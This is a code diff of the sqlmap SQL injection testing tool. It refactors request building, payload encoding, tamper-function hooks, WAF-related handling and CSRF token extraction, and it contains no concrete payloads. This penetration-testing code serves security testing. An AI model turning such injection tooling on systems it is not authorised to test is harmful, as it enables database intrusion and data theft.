-            "x-powered-by":                    os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
+            "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
+            "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
+            "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
+            "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
+            "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
         }
 
-    for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers):
+    for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
         value = headers[header]
         xmlfile = kb.headerPaths[header]
-
         handler = FingerprintHandler(value, kb.headersFp)
-
         parseXmlFile(xmlfile, handler)
         parseXmlFile(paths.GENERIC_XML, handler)

lib/parse/html.py

@@ -9,6 +9,7 @@ import re
 
 from xml.sax.handler import ContentHandler
 
+from lib.core.common import urldecode
 from lib.core.common import parseXmlFile
 from lib.core.data import kb
 from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
         self._dbms = None
         self._page = (page or "")
         self._lower_page = self._page.lower()
+        self._urldecoded_page = urldecode(self._page)
 
         self.dbms = None
 
@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
                 keywords = sorted(keywords, key=len)
                 kb.cache.regex[regexp] = keywords[-1].lower()
 
-            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
+            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
                 self.dbms = self._dbms
                 self._markAsErrorPage()
 

lib/parse/payloads.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import os
+import re
 
 from xml.etree import ElementTree as et
 
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
 from lib.core.settings import PAYLOAD_XML_FILES
 
 def cleanupVals(text, tag):
+    if tag == "clause" and '-' in text:
+        text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
+
     if tag in ("clause", "where"):
         text = text.split(',')
 
@@ -36,7 +40,7 @@ def cleanupVals(text, tag):
     return text
 
 def parseXmlNode(node):
-    for element in node.getiterator('boundary'):
+    for element in node.getiterator("boundary"):
         boundary = AttribDict()
 
         for child in element.getchildren():
@@ -48,7 +52,7 @@ def parseXmlNode(node):
 
         conf.boundaries.append(boundary)
 
-    for element in node.getiterator('test'):
+    for element in node.getiterator("test"):
         test = AttribDict()
 
         for child in element.getchildren():
@@ -78,7 +82,7 @@ def loadBoundaries():
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
     root = doc.getroot()
     parseXmlNode(root)
@@ -93,7 +97,7 @@ def loadPayloads():
             errMsg = "something appears to be wrong with "
             errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
             errMsg += "sure that you haven't made any changes to it"
-            raise SqlmapInstallationException, errMsg
+            raise SqlmapInstallationException(errMsg)
 
         root = doc.getroot()
         parseXmlNode(root)

lib/parse/sitemap.py

@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
             content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
         except httplib.InvalidURL:
             errMsg = "invalid URL given for sitemap ('%s')" % url
-            raise SqlmapSyntaxException, errMsg
+            raise SqlmapSyntaxException(errMsg)
 
         for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
             if abortedFlag:

lib/request/basic.py

@@ -35,7 +35,6 @@ from lib.core.enums import PLACE
 from lib.core.exception import SqlmapCompressionException
 from lib.core.settings import BLOCKED_IP_REGEX
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
-from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import EVENTVALIDATION_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
@@ -61,7 +60,7 @@ def forgeHeaders(items=None, base=None):
         if items[_] is None:
             del items[_]
 
-    headers = OrderedDict(base or conf.httpHeaders)
+    headers = OrderedDict(conf.httpHeaders if base is None else base)
     headers.update(items.items())
 
     class _str(str):
@@ -110,7 +109,9 @@ def forgeHeaders(items=None, base=None):
                         kb.mergeCookies = readInput(message, default='Y', boolean=True)
 
                     if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        def _(value):
+                            return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
+
                         headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
 
                         if PLACE.COOKIE in conf.parameters:
@@ -161,7 +162,7 @@ def checkCharEncoding(encoding, warn=True):
         return encoding
 
     # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
 
     for delimiter in (';', ',', '('):
         if delimiter in encoding:
@@ -218,10 +219,6 @@ def checkCharEncoding(encoding, warn=True):
     try:
         codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
     except (LookupError, ValueError):
-        if warn and ' ' not in encoding:
-            warnMsg = "unknown web page charset '%s'. " % encoding
-            warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
-            singleTimeLogMessage(warnMsg, logging.WARN, encoding)
         encoding = None
 
     if encoding:
@@ -332,7 +329,7 @@ def decodePage(page, contentEncoding, contentType):
 
             kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
 
-            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
+            if (kb.pageEncoding or "").lower() == "utf-8-sig":
                 kb.pageEncoding = "utf-8"
                 if page and page.startswith("\xef\xbb\xbf"):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                     page = page[3:]
@@ -388,7 +385,7 @@ def processResponse(page, responseHeaders, status=None):
                             continue
 
                         conf.paramDict[PLACE.POST][name] = value
-                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
+                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
 
     if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
         kb.browserVerification = True

lib/request/basicauthhandler.py

@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
             self.retried_count = 0
         else:
             if self.retried_count > 5:
-                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed",
-                                headers, None)
+                raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
             else:
                 self.retried_count += 1
 
-        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(
-                        self, auth_header, host, req, headers)
+        return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)

lib/request/comparison.py

@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
             seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
             seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
 
+            if kb.heavilyDynamic:
+                seq1 = seq1.split("\n")
+                seq2 = seq2.split("\n")
+
             seqMatcher.set_seq1(seq1)
             seqMatcher.set_seq2(seq2)
 
-            ratio = round(seqMatcher.quick_ratio(), 3)
+            ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
 
     # If the url is stable and we did not set yet the match ratio and the
     # current injected value changes the url page content

lib/request/connect.py

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import binascii
 import compiler
 import httplib
-import json
 import keyword
 import logging
 import re
@@ -17,6 +16,7 @@ import string
 import struct
 import time
 import traceback
+import urllib
 import urllib2
 import urlparse
 
@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
 from lib.core.common import checkSameHost
 from lib.core.common import clearConsoleLine
 from lib.core.common import dataToStdout
+from lib.core.common import escapeJsonValue
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
 from lib.core.common import findMultipartPostBoundary
@@ -63,10 +64,12 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import POST_HINT_CONTENT_TYPES
 from lib.core.enums import ADJUST_TIME_DELAY
 from lib.core.enums import AUTH_TYPE
 from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import HINT
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
 from lib.core.enums import NULLCONNECTION
@@ -86,6 +89,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import DEFAULT_CONTENT_TYPE
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
+from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
 from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -96,6 +100,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
 from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
 from lib.core.settings import MIN_TIME_RESPONSES
+from lib.core.settings import MAX_TIME_RESPONSES
+from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -118,7 +124,6 @@ from lib.request.methodrequest import MethodRequest
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.socks.socks import ProxyError
 
-
 class Connect(object):
     """
     This class defines methods used to perform HTTP requests
@@ -187,13 +192,13 @@ class Connect(object):
 
         if not kb.dnsMode and conn:
             headers = conn.info()
-            if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\
-              or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
+            if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
                 retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
                 if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
                     warnMsg = "large compressed response detected. Disabling compression"
                     singleTimeWarnMessage(warnMsg)
                     kb.pageCompress = False
+                    raise SqlmapCompressionException
             else:
                 while True:
                     if not conn:
@@ -241,27 +246,27 @@ class Connect(object):
             kb.requestCounter += 1
             threadData.lastRequestUID = kb.requestCounter
 
-        url = kwargs.get("url",                     None) or conf.url
-        get = kwargs.get("get",                     None)
-        post = kwargs.get("post",                   None)
-        method = kwargs.get("method",               None)
-        cookie = kwargs.get("cookie",               None)
-        ua = kwargs.get("ua",                       None) or conf.agent
-        referer = kwargs.get("referer",             None) or conf.referer
-        host = kwargs.get("host",                   None) or conf.host
-        direct_ = kwargs.get("direct",              False)
-        multipart = kwargs.get("multipart",         None)
-        silent = kwargs.get("silent",               False)
-        raise404 = kwargs.get("raise404",           True)
-        timeout = kwargs.get("timeout",             None) or conf.timeout
-        auxHeaders = kwargs.get("auxHeaders",       None)
-        response = kwargs.get("response",           False)
+        url = kwargs.get("url", None) or conf.url
+        get = kwargs.get("get", None)
+        post = kwargs.get("post", None)
+        method = kwargs.get("method", None)
+        cookie = kwargs.get("cookie", None)
+        ua = kwargs.get("ua", None) or conf.agent
+        referer = kwargs.get("referer", None) or conf.referer
+        host = kwargs.get("host", None) or conf.host
+        direct_ = kwargs.get("direct", False)
+        multipart = kwargs.get("multipart", None)
+        silent = kwargs.get("silent", False)
+        raise404 = kwargs.get("raise404", True)
+        timeout = kwargs.get("timeout", None) or conf.timeout
+        auxHeaders = kwargs.get("auxHeaders", None)
+        response = kwargs.get("response", False)
         ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
-        refreshing = kwargs.get("refreshing",       False)
-        retrying = kwargs.get("retrying",           False)
-        crawling = kwargs.get("crawling",           False)
-        checking = kwargs.get("checking",           False)
-        skipRead = kwargs.get("skipRead",           False)
+        refreshing = kwargs.get("refreshing", False)
+        retrying = kwargs.get("retrying", False)
+        crawling = kwargs.get("crawling", False)
+        checking = kwargs.get("checking", False)
+        skipRead = kwargs.get("skipRead", False)
 
         if multipart:
             post = multipart
@@ -346,7 +351,7 @@ class Connect(object):
             requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
 
             # Prepare HTTP headers
-            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host})
+            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
 
             if HTTP_HEADER.COOKIE in headers:
                 cookie = headers[HTTP_HEADER.COOKIE]
@@ -357,14 +362,21 @@ class Connect(object):
             if kb.proxyAuthHeader:
                 headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
 
-            if not getHeader(headers, HTTP_HEADER.ACCEPT):
-                headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
+            if not conf.requestFile or not target:
+                if not getHeader(headers, HTTP_HEADER.HOST):
+                    headers[HTTP_HEADER.HOST] = getHostHeader(url)
 
-            if not getHeader(headers, HTTP_HEADER.HOST) or not target:
-                headers[HTTP_HEADER.HOST] = getHostHeader(url)
+                if not getHeader(headers, HTTP_HEADER.ACCEPT):
+                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
 
-            if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
-                headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
+                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
+                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
+
+            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
+                for header in headers:
+                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
+                        del headers[header]
+                        break
 
             if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                 headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +393,6 @@ class Connect(object):
             if conf.keepAlive:
                 headers[HTTP_HEADER.CONNECTION] = "keep-alive"
 
-            # Reset header values to original in case of provided request file
-            if target and conf.requestFile:
-                headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
-
             if auxHeaders:
                 headers = forgeHeaders(auxHeaders, headers)
 
@@ -407,8 +415,10 @@ class Connect(object):
                 ws.close()
                 code = ws.status
                 status = httplib.responses[code]
+
                 class _(dict):
                     pass
+
                 responseHeaders = _(ws.getheaders())
                 responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
 
@@ -428,8 +438,10 @@ class Connect(object):
                     method = unicodeencode(method)
                     req = MethodRequest(url, post, headers)
                     req.set_method(method)
-                else:
+                elif url is not None:
                     req = urllib2.Request(url, post, headers)
+                else:
+                    return None, None, None
 
                 requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
 
@@ -479,23 +491,23 @@ class Connect(object):
 
                 # Get HTTP response
                 if hasattr(conn, "redurl"):
-                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
-                    else Connect._connReadProxy(conn)) if not skipRead else None
+                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                     skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                     code = conn.redcode
                 else:
                     page = Connect._connReadProxy(conn) if not skipRead else None
 
                 if conn:
-                    code = conn.code
+                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                     responseHeaders = conn.info()
                     responseHeaders[URI_HTTP_HEADER] = conn.geturl()
+                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                 else:
                     code = None
                     responseHeaders = {}
 
                 page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-                status = getUnicode(conn.msg) if conn else None
+                status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
 
             kb.connErrorCounter = 0
 
@@ -578,13 +590,13 @@ class Connect(object):
                 page = page if isinstance(page, unicode) else getUnicode(page)
 
             code = ex.code
-            status = getUnicode(ex.msg)
+            status = getSafeExString(ex)
 
             kb.originalCode = kb.originalCode or code
             threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
             kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
 
-            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
 
             if responseHeaders:
                 logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -642,15 +654,8 @@ class Connect(object):
             elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
                 warnMsg = "connection was forcibly closed by the target URL"
             elif "timed out" in tbMsg:
-                if not conf.disablePrecon:
-                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
-                    conf.disablePrecon = True
-
-                    if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                        kb.responseTimes.clear()
-
                 if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
                     kb.droppingRequests = True
                 warnMsg = "connection timed out to the target URL"
             elif "Connection reset" in tbMsg:
@@ -659,7 +664,7 @@ class Connect(object):
                     conf.disablePrecon = True
 
                 if kb.testMode:
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
                     kb.droppingRequests = True
                 warnMsg = "connection reset to the target URL"
             elif "URLError" in tbMsg or "error" in tbMsg:
@@ -684,6 +689,9 @@ class Connect(object):
                 status = re.search(r"Handshake status ([\d]{3})", tbMsg)
                 errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown"
                 raise SqlmapConnectionException(errMsg)
+            elif "SqlmapCompressionException" in tbMsg:
+                warnMsg = "problems with response (de)compression"
+                retrying = True
             else:
                 warnMsg = "unable to connect to the target URL"
 
@@ -719,7 +727,7 @@ class Connect(object):
                 else:
                     logger.debug(warnMsg)
                 return Connect._retryProxy(**kwargs)
-            elif kb.testMode:
+            elif kb.testMode or kb.multiThreadMode:
                 logger.critical(warnMsg)
                 return None, None, None
             else:
@@ -738,16 +746,16 @@ class Connect(object):
         if conn and getattr(conn, "redurl", None):
             _ = urlparse.urlsplit(conn.redurl)
             _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
-            requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
+            requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1)
 
             if kb.resendPostOnRedirect is False:
-                requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg)
+                requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
                 requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg)
                 requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg)
 
             responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
         else:
-            responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
+            responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
 
         if responseHeaders:
             logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -766,7 +774,8 @@ class Connect(object):
         return page, responseHeaders, code
 
     @staticmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True):
+    @stackedmethod
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
         """
         This method calls a function to get the target URL page content
         and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -813,10 +822,14 @@ class Connect(object):
                 conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
 
         if payload:
-            if kb.tamperFunctions:
+            delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
+
+            if not disableTampering and kb.tamperFunctions:
                 for function in kb.tamperFunctions:
+                    hints = {}
+
                     try:
-                        payload = function(payload=payload, headers=auxHeaders)
+                        payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
                     except Exception, ex:
                         errMsg = "error occurred while running tamper "
                         errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -829,6 +842,18 @@ class Connect(object):
 
                 value = agent.replacePayload(value, payload)
 
+                if hints:
+                    if HINT.APPEND in hints:
+                        value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
+
+                    if HINT.PREPEND in hints:
+                        if place == PLACE.URI:
+                            match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
+                            if match:
+                                value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
+                        else:
+                            value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
+
             logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
 
             if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -837,24 +862,18 @@ class Connect(object):
                     # with their HTML encoded counterparts
                     payload = payload.replace('>', "&gt;").replace('<', "&lt;")
                 elif kb.postHint == POST_HINT.JSON:
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                 elif kb.postHint == POST_HINT.JSON_LIKE:
                     payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
-                    if payload.startswith('"') and payload.endswith('"'):
-                        payload = json.dumps(payload[1:-1])
-                    else:
-                        payload = json.dumps(payload)[1:-1]
+                    payload = escapeJsonValue(payload)
                     payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                 value = agent.replacePayload(value, payload)
             else:
                 # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                     skip = False
 
-                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
                         if kb.cookieEncodeChoice is None:
                             msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
                             kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -862,7 +881,9 @@ class Connect(object):
                             skip = True
 
                     if not skip:
-                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        if place in (PLACE.POST, PLACE.CUSTOM_POST):  # potential problems in other cases (e.g. URL encoding of whole URI - including path)
+                            value = urlencode(value, spaceplus=kb.postSpaceToPlus)
+                        payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
                         value = agent.replacePayload(value, payload)
                         postUrlEncode = False
 
@@ -932,16 +953,16 @@ class Connect(object):
 
         if value and place == PLACE.CUSTOM_HEADER:
             if value.split(',')[0].capitalize() == PLACE.COOKIE:
-                cookie = value.split(',', 1)[1]
+                cookie = value.split(',', 1)[-1]
             else:
-                auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
+                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
 
         if conf.csrfToken:
             def _adjustParameter(paramString, parameter, newValue):
                 retVal = paramString
                 match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString)
                 if match:
-                    retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                 else:
                     match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
                     if match:
@@ -949,15 +970,27 @@ class Connect(object):
                 return retVal
 
             page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
-            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
+            token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s\b[^>]*\bvalue=[\"']?(?P<result>[^>'\"]*)" % re.escape(conf.csrfToken), page or "")
 
             if not token:
-                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
